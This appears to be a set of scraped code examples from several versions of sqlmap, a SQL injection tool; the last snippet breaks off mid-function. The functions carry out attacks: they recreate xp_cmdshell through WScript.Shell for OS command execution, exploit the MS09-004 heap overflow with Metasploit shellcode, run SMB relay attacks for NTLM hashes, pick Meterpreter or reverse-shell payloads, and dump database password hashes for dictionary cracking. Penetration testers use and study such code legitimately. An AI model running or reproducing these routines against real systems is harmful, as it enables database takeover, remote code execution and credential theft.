Example #1
0
    def __xpCmdshellCreate(self):
        cmd = ""

        if Backend.isVersionWithin(("2005", "2008")):
            logger.debug("activating sp_OACreate")

            cmd += "EXEC master..sp_configure 'show advanced options', 1; "
            cmd += "RECONFIGURE WITH OVERRIDE; "
            cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
            cmd += "RECONFIGURE WITH OVERRIDE; "
            inject.goStacked(cmd)

        self.__randStr = randomStr(lowercase=True)

        cmd += "DECLARE @%s nvarchar(999); " % self.__randStr
        cmd += "set @%s='" % self.__randStr
        cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
        cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
        cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
        cmd += "EXEC sp_OADestroy @ID'; "
        cmd += "EXEC master..sp_executesql @%s;" % self.__randStr

        if Backend.isVersionWithin(("2005", "2008")):
            cmd += " RECONFIGURE WITH OVERRIDE;"

        inject.goStacked(cmd)
Example #2
0
    def _sandBoxCheck(self):
        # Reference: http://milw0rm.com/papers/198
        retVal = None
        table = None

        if Backend.isVersionWithin(("97", "2000")):
            table = "MSysAccessObjects"
        elif Backend.isVersionWithin(("2002-2003", "2007")):
            table = "MSysAccessStorage"

        if table is not None:
            result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table)
            retVal = "not sandboxed" if result else "sandboxed"

        return retVal
Example #3
0
    def osBof(self):
        if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
            return

        if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
            errMsg = "the back-end DBMS must be Microsoft SQL Server "
            errMsg += "2000 or 2005 to be able to exploit the heap-based "
            errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
            errMsg += "stored procedure (MS09-004)"
            raise SqlmapUnsupportedDBMSException(errMsg)

        infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
        infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
        infoMsg += "buffer overflow (MS09-004)"
        logger.info(infoMsg)

        msg = "this technique is likely to DoS the DBMS process, are you "
        msg += "sure that you want to carry with the exploit? [y/N] "
        inp = readInput(msg, default="N")

        if inp and inp[0].lower() == "y":
            dos = True
        else:
            dos = False

        if dos:
            self.initEnv(mandatory=False, detailed=True)
            self.getRemoteTempPath()
            self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
            self.bof()
Example #4
0
    def __xpCmdshellConfigure(self, mode):
        if Backend.isVersionWithin(("2005", "2008")):
            cmd = self.__xpCmdshellConfigure2005(mode)
        else:
            cmd = self.__xpCmdshellConfigure2000(mode)

        inject.goStacked(agent.runAsDBMSUser(cmd))
Example #5
0
    def getUsers(self):
        infoMsg = "fetching database users"
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].users

        condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
        condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if condition:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                kb.data.cachedUsers = []
                for value in arrayizeValue(values):
                    value = unArrayizeValue(value)
                    if not isNoneValue(value):
                        kb.data.cachedUsers.append(value)

        if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
            infoMsg = "fetching number of database users"
            logger.info(infoMsg)

            if condition:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count

            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if count == 0:
                return kb.data.cachedUsers
            elif not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of database users"
                raise SqlmapNoneDataException(errMsg)

            plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
            indexRange = getLimitRange(count, plusOne=plusOne)

            for index in indexRange:
                if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
                    query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
                elif condition:
                    query = rootQuery.blind.query2 % index
                else:
                    query = rootQuery.blind.query % index
                user = unArrayizeValue(inject.getValue(query, union=False, error=False))

                if user:
                    kb.data.cachedUsers.append(user)

        if not kb.data.cachedUsers:
            errMsg = "unable to retrieve the database users"
            logger.error(errMsg)

        return kb.data.cachedUsers
Example #6
0
    def _xpCmdshellCreate(self):
        cmd = ""

        if not Backend.isVersionWithin(("2000",)):
            logger.debug("activating sp_OACreate")

            cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
            inject.goStacked(agent.runAsDBMSUser(cmd))

        self._randStr = randomStr(lowercase=True)
        self.xpCmdshellStr = "master..new_xp_cmdshell"

        cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)

        if not Backend.isVersionWithin(("2000",)):
            cmd += ";RECONFIGURE WITH OVERRIDE"

        inject.goStacked(agent.runAsDBMSUser(cmd))
Example #7
0
    def __xpCmdshellCreate(self):
        cmd = ""

        if Backend.isVersionWithin(("2005", "2008")):
            logger.debug("activating sp_OACreate")

            cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
            inject.goStacked(agent.runAsDBMSUser(cmd))

        self.__randStr = randomStr(lowercase=True)
        self.__xpCmdshellNew = "xp_%s" % randomStr(lowercase=True)
        self.xpCmdshellStr = "master..%s" % self.__xpCmdshellNew

        cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self.__randStr, XP_CMDSHELL_NEW=self.__xpCmdshellNew)

        if Backend.isVersionWithin(("2005", "2008")):
            cmd += ";RECONFIGURE WITH OVERRIDE"

        inject.goStacked(agent.runAsDBMSUser(cmd))
Example #8
0
    def osSmb(self):
        self.checkDbmsOs()

        if not Backend.isOs(OS.WINDOWS):
            errMsg = "the back-end DBMS underlying operating system is "
            errMsg += "not Windows: it is not possible to perform the SMB "
            errMsg += "relay attack"
            raise SqlmapUnsupportedDBMSException(errMsg)

        if not isStackingAvailable() and not conf.direct:
            if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL):
                errMsg = "on this back-end DBMS it is only possible to "
                errMsg += "perform the SMB relay attack if stacked "
                errMsg += "queries are supported"
                raise SqlmapUnsupportedDBMSException(errMsg)

            elif Backend.isDbms(DBMS.MYSQL):
                debugMsg = "since stacked queries are not supported, "
                debugMsg += "sqlmap is going to perform the SMB relay "
                debugMsg += "attack via inference blind SQL injection"
                logger.debug(debugMsg)

        printWarn = True
        warnMsg = "it is unlikely that this attack will be successful "

        if Backend.isDbms(DBMS.MYSQL):
            warnMsg += "because by default MySQL on Windows runs as "
            warnMsg += "Local System which is not a real user, it does "
            warnMsg += "not send the NTLM session hash when connecting to "
            warnMsg += "a SMB service"

        elif Backend.isDbms(DBMS.PGSQL):
            warnMsg += "because by default PostgreSQL on Windows runs "
            warnMsg += "as postgres user which is a real user of the "
            warnMsg += "system, but not within the Administrators group"

        elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
            ("2005", "2008")):
            warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion(
            )
            warnMsg += "runs as Network Service which is not a real user, "
            warnMsg += "it does not send the NTLM session hash when "
            warnMsg += "connecting to a SMB service"

        else:
            printWarn = False

        if printWarn:
            logger.warn(warnMsg)

        self.smb()
Example #9
0
    def osSmb(self):
        self.checkDbmsOs()

        if not Backend.isOs(OS.WINDOWS):
            errMsg = "the back-end DBMS underlying operating system is "
            errMsg += "not Windows: it is not possible to perform the SMB "
            errMsg += "relay attack"
            raise SqlmapUnsupportedDBMSException(errMsg)

        if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
            if Backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ):
                errMsg = "on this back-end DBMS it is only possible to "
                errMsg += "perform the SMB relay attack if stacked "
                errMsg += "queries are supported"
                raise SqlmapUnsupportedDBMSException(errMsg)

            elif Backend.isDbms(DBMS.MYSQL):
                debugMsg = "since stacked queries are not supported, "
                debugMsg += "sqlmap is going to perform the SMB relay "
                debugMsg += "attack via inference blind SQL injection"
                logger.debug(debugMsg)

        printWarn = True
        warnMsg = "it is unlikely that this attack will be successful "

        if Backend.isDbms(DBMS.MYSQL):
            warnMsg += "because by default MySQL on Windows runs as "
            warnMsg += "Local System which is not a real user, it does "
            warnMsg += "not send the NTLM session hash when connecting to "
            warnMsg += "a SMB service"

        elif Backend.isDbms(DBMS.PGSQL):
            warnMsg += "because by default PostgreSQL on Windows runs "
            warnMsg += "as postgres user which is a real user of the "
            warnMsg += "system, but not within the Administrators group"

        elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
            warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion()
            warnMsg += "runs as Network Service which is not a real user, "
            warnMsg += "it does not send the NTLM session hash when "
            warnMsg += "connecting to a SMB service"

        else:
            printWarn = False

        if printWarn:
            logger.warn(warnMsg)

        self.smb()
Example #10
0
    def osBof(self):
        if not isStackingAvailable() and not conf.direct:
            return

        if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(
            ("2000", "2005")):
            errMsg = "后端DBMS必须是Microsoft SQL Server 2000或2005才能够利用“sp_replwritetovarbin”存储过程(MS09-004)中基于堆的缓冲区溢出"
            raise SqlmapUnsupportedDBMSException(errMsg)

        infoMsg = "将利用Microsoft SQL Server %s“sp_replwritetovarbin”存储过程基于堆的缓冲区溢出(MS09-004)"
        logger.info(infoMsg)

        msg = "这种技术很可能是DoS的DBMS过程,你确定要利用这个漏洞? [y/N] "

        if readInput(msg, default='N', boolean=True):
            self.initEnv(mandatory=False, detailed=True)
            self.getRemoteTempPath()
            self.createMsfShellcode(exitfunc="seh",
                                    format="raw",
                                    extra="-b 27",
                                    encode=True)
            self.bof()
Example #11
0
    def osBof(self):
        if not isStackingAvailable() and not conf.direct:
            return

        if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
            errMsg = "the back-end DBMS must be Microsoft SQL Server "
            errMsg += "2000 or 2005 to be able to exploit the heap-based "
            errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
            errMsg += "stored procedure (MS09-004)"
            raise SqlmapUnsupportedDBMSException(errMsg)

        infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
        infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
        infoMsg += "buffer overflow (MS09-004)"
        logger.info(infoMsg)

        msg = "this technique is likely to DoS the DBMS process, are you "
        msg += "sure that you want to carry with the exploit? [y/N] "

        if readInput(msg, default='N', boolean=True):
            self.initEnv(mandatory=False, detailed=True)
            self.getRemoteTempPath()
            self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
            self.bof()
Example #12
0
    def osSmb(self):
        self.checkDbmsOs()

        if not Backend.isOs(OS.WINDOWS):
            errMsg = "后端DBMS底层操作系统不是Windows:不可能执行SMB中继攻击"
            raise SqlmapUnsupportedDBMSException(errMsg)

        if not isStackingAvailable() and not conf.direct:
            if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL):
                errMsg = "在这个后端DBMS中,只有支持堆叠(多语句)查询才可能执行SMB中继攻击"
                raise SqlmapUnsupportedDBMSException(errMsg)

            elif Backend.isDbms(DBMS.MYSQL):
                debugMsg = "由于不支持堆叠查询,sqlmap将通过推测SQL盲注入执行SMB中继攻击"
                logger.debug(debugMsg)

        printWarn = True
        warnMsg = "这次攻击不太可能成功 "

        if Backend.isDbms(DBMS.MYSQL):
            warnMsg += "因为默认情况下,MySQL在Windows上运行的本地系统不是真正的用户,它在连接到SMB服务时不会发送NTLM会话哈希session hash"

        elif Backend.isDbms(DBMS.PGSQL):
            warnMsg += "因为默认情况下PostgreSQL作为postgres用户运行,该用户是系统的真正用户,但不在Administrators组内"

        elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
            ("2005", "2008")):
            warnMsg += "因为通常Microsoft SQL Server %s 作为网络服务运行,而不是真正的用户,它在连接到SMB服务时不发送NTLM会话哈希" % Backend.getVersion(
            )
        else:
            printWarn = False

        if printWarn:
            logger.warn(warnMsg)

        self.smb()
Example #13
0
    def __selectPayload(self):
        if kb.os == "Windows" and conf.privEsc:
            infoMsg = "forcing Metasploit payload to Meterpreter because "
            infoMsg += "it is the only payload that can be used to "
            infoMsg += "escalate privileges, either via 'incognito' "
            infoMsg += "extension or via 'getsystem' command"
            logger.info(infoMsg)

            __payloadStr = "windows/meterpreter"

        else:
            __payloadStr = self.__skeletonSelection("payload",
                                                    self.__msfPayloadsList)

        if __payloadStr == "windows/vncinject":
            choose = False

            if Backend.getIdentifiedDbms() == DBMS.MYSQL:
                debugMsg = "by default MySQL on Windows runs as SYSTEM "
                debugMsg += "user, it is likely that the the VNC "
                debugMsg += "injection will be successful"
                logger.debug(debugMsg)

            elif Backend.getIdentifiedDbms() == DBMS.PGSQL:
                choose = True

                warnMsg = "by default PostgreSQL on Windows runs as "
                warnMsg += "postgres user, it is unlikely that the VNC "
                warnMsg += "injection will be successful"
                logger.warn(warnMsg)

            elif Backend.getIdentifiedDbms(
            ) == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
                choose = True

                warnMsg = "it is unlikely that the VNC injection will be "
                warnMsg += "successful because usually Microsoft SQL Server "
                warnMsg += "%s runs as Network Service " % Backend.getVersion()
                warnMsg += "or the Administrator is not logged in"
                logger.warn(warnMsg)

            if choose:
                message = "what do you want to do?\n"
                message += "[1] Give it a try anyway\n"
                message += "[2] Fall back to Meterpreter payload (default)\n"
                message += "[3] Fall back to Shell payload"

                while True:
                    choice = readInput(message, default="2")

                    if not choice or choice == "2":
                        __payloadStr = "windows/meterpreter"

                        break

                    elif choice == "3":
                        __payloadStr = "windows/shell"

                        break

                    elif choice == "1":
                        if Backend.getIdentifiedDbms() == DBMS.PGSQL:
                            logger.warn(
                                "beware that the VNC injection might not work")

                            break

                        elif Backend.getIdentifiedDbms(
                        ) == DBMS.MSSQL and Backend.isVersionWithin(
                            ("2005", "2008")):
                            break

                    elif not choice.isdigit():
                        logger.warn("invalid value, only digits are allowed")

                    elif int(choice) < 1 or int(choice) > 2:
                        logger.warn("invalid value, it must be 1 or 2")

        return __payloadStr
Example #14
0
    def getUsers(self):
        infoMsg = "fetching database users"
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].users

        condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
            ("2005", "2008")))
        condition |= (Backend.isDbms(DBMS.MYSQL)
                      and not kb.data.has_information_schema)

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION,
                          PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            if condition:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            value = inject.getValue(query, blind=False)

            if not isNoneValue(value):
                kb.data.cachedUsers = arrayizeValue(value)

        if not kb.data.cachedUsers and isInferenceAvailable(
        ) and not conf.direct:
            infoMsg = "fetching number of database users"
            logger.info(infoMsg)

            if condition:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count
            count = inject.getValue(query,
                                    inband=False,
                                    error=False,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)

            if not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of database users"
                raise sqlmapNoneDataException, errMsg

            plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
            indexRange = getLimitRange(count, plusOne=plusOne)

            for index in indexRange:
                if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
                    query = rootQuery.blind.query % (kb.data.cachedUsers[-1]
                                                     if kb.data.cachedUsers
                                                     else " ")
                elif condition:
                    query = rootQuery.blind.query2 % index
                else:
                    query = rootQuery.blind.query % index
                user = inject.getValue(query, inband=False, error=False)

                if user:
                    kb.data.cachedUsers.append(user)

        if not kb.data.cachedUsers:
            errMsg = "unable to retrieve the database users"
            raise sqlmapNoneDataException, errMsg

        return kb.data.cachedUsers
Example #15
0
    def _selectPayload(self):
        if Backend.isOs(OS.WINDOWS) and conf.privEsc:
            infoMsg = "forcing Metasploit payload to Meterpreter because "
            infoMsg += "it is the only payload that can be used to "
            infoMsg += "escalate privileges via 'incognito' extension, "
            infoMsg += "'getsystem' command or post modules"
            logger.info(infoMsg)

            _payloadStr = "windows/meterpreter"
        else:
            _payloadStr = self._skeletonSelection("payload",
                                                  self._msfPayloadsList)

        if _payloadStr == "windows/vncinject":
            choose = False

            if Backend.isDbms(DBMS.MYSQL):
                debugMsg = "by default MySQL on Windows runs as SYSTEM "
                debugMsg += "user, it is likely that the the VNC "
                debugMsg += "injection will be successful"
                logger.debug(debugMsg)

            elif Backend.isDbms(DBMS.PGSQL):
                choose = True

                warnMsg = "by default PostgreSQL on Windows runs as "
                warnMsg += "postgres user, it is unlikely that the VNC "
                warnMsg += "injection will be successful"
                logger.warn(warnMsg)

            elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
                ("2005", "2008")):
                choose = True

                warnMsg = "it is unlikely that the VNC injection will be "
                warnMsg += "successful because usually Microsoft SQL Server "
                warnMsg += "%s runs as Network Service " % Backend.getVersion()
                warnMsg += "or the Administrator is not logged in"
                logger.warn(warnMsg)

            if choose:
                message = "what do you want to do?\n"
                message += "[1] Give it a try anyway\n"
                message += "[2] Fall back to Meterpreter payload (default)\n"
                message += "[3] Fall back to Shell payload"

                while True:
                    choice = readInput(message, default="2")

                    if not choice or choice == "2":
                        _payloadStr = "windows/meterpreter"

                        break

                    elif choice == "3":
                        _payloadStr = "windows/shell"

                        break

                    elif choice == "1":
                        if Backend.isDbms(DBMS.PGSQL):
                            logger.warn(
                                "beware that the VNC injection might not work")

                            break

                        elif Backend.isDbms(
                                DBMS.MSSQL) and Backend.isVersionWithin(
                                    ("2005", "2008")):
                            break

                    elif not choice.isdigit():
                        logger.warn("invalid value, only digits are allowed")

                    elif int(choice) < 1 or int(choice) > 2:
                        logger.warn("invalid value, it must be 1 or 2")

        if self.connectionStr.startswith(
                "reverse_http") and _payloadStr != "windows/meterpreter":
            warnMsg = "Reverse HTTP%s connection is only supported " % (
                "S" if self.connectionStr.endswith("s") else "")
            warnMsg += "with the Meterpreter payload. Falling back to "
            warnMsg += "reverse TCP"
            logger.warn(warnMsg)

            self.connectionStr = "reverse_tcp"

        return _payloadStr
Example #16
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                randStr = randomStr()
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)

                if retVal:
                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                values = inject.getValue(query, blind=False, time=False)

                for user, password in filterPairValues(values):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                randStr = randomStr()
                query = rootQuery.inband.query

                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)

                if retVal:
                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
                        password = "******" % hexencode(password).upper()

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    user = unArrayizeValue(user)

                    if user in retrievedUsers:
                        continue

                    if Backend.isDbms(DBMS.INFORMIX):
                        count = 1
                    else:
                        infoMsg = "fetching number of password hashes "
                        infoMsg += "for user '%s'" % user
                        logger.info(infoMsg)

                        if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                            query = rootQuery.blind.count2 % user
                        else:
                            query = rootQuery.blind.count % user

                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "unable to retrieve the number of password "
                            warnMsg += "hashes for user '%s'" % user
                            logger.warn(warnMsg)
                            continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index, user)
                            else:
                                query = rootQuery.blind.query % (user, index, user)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            query = rootQuery.blind.query % (user,)
                        else:
                            query = rootQuery.blind.query % (user, index)

                        password = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        password = parsePasswordHash(password)

                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (probably because the session "
            errMsg += "user has no read privileges over the relevant "
            errMsg += "system database table)"
            logger.error(errMsg)
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))

            storeHashesToFile(kb.data.cachedUsersPasswords)

            message = "do you want to perform a dictionary-based attack "
            message += "against retrieved password hashes? [Y/n/q]"
            choice = readInput(message, default='Y').upper()

            if choice == 'N':
                pass
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords
Example #17
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == CURRENT_USER:
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = [_ for _ in users if _]

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)

                if retVal:
                    for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                values = inject.getValue(query, blind=False, time=False)

                if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                    values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)
                elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)):
                    values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)

                for user, password in filterPairValues(values):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
            fallback = False

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                query = rootQuery.inband.query

                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)

                if retVal:
                    for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
                        password = "******" % encodeHex(password, binary=False).upper()

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    user = unArrayizeValue(user)

                    if user in retrievedUsers:
                        continue

                    if Backend.isDbms(DBMS.INFORMIX):
                        count = 1
                    else:
                        infoMsg = "fetching number of password hashes "
                        infoMsg += "for user '%s'" % user
                        logger.info(infoMsg)

                        if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                            query = rootQuery.blind.count2 % user
                        else:
                            query = rootQuery.blind.count % user

                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            if Backend.isDbms(DBMS.MSSQL):
                                fallback = True
                                count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                            elif Backend.isDbms(DBMS.MYSQL):
                                fallback = True
                                count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "unable to retrieve the number of password "
                            warnMsg += "hashes for user '%s'" % user
                            logger.warn(warnMsg)
                            continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index, user)
                            else:
                                query = rootQuery.blind.query % (user, index, user)

                            if fallback:
                                query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr")

                        elif Backend.isDbms(DBMS.INFORMIX):
                            query = rootQuery.blind.query % (user,)

                        elif Backend.isDbms(DBMS.HSQLDB):
                            query = rootQuery.blind.query % (index, user)

                        else:
                            query = rootQuery.blind.query % (user, index)

                        if Backend.isDbms(DBMS.MYSQL):
                            if fallback:
                                query = query.replace("authentication_string", "password")

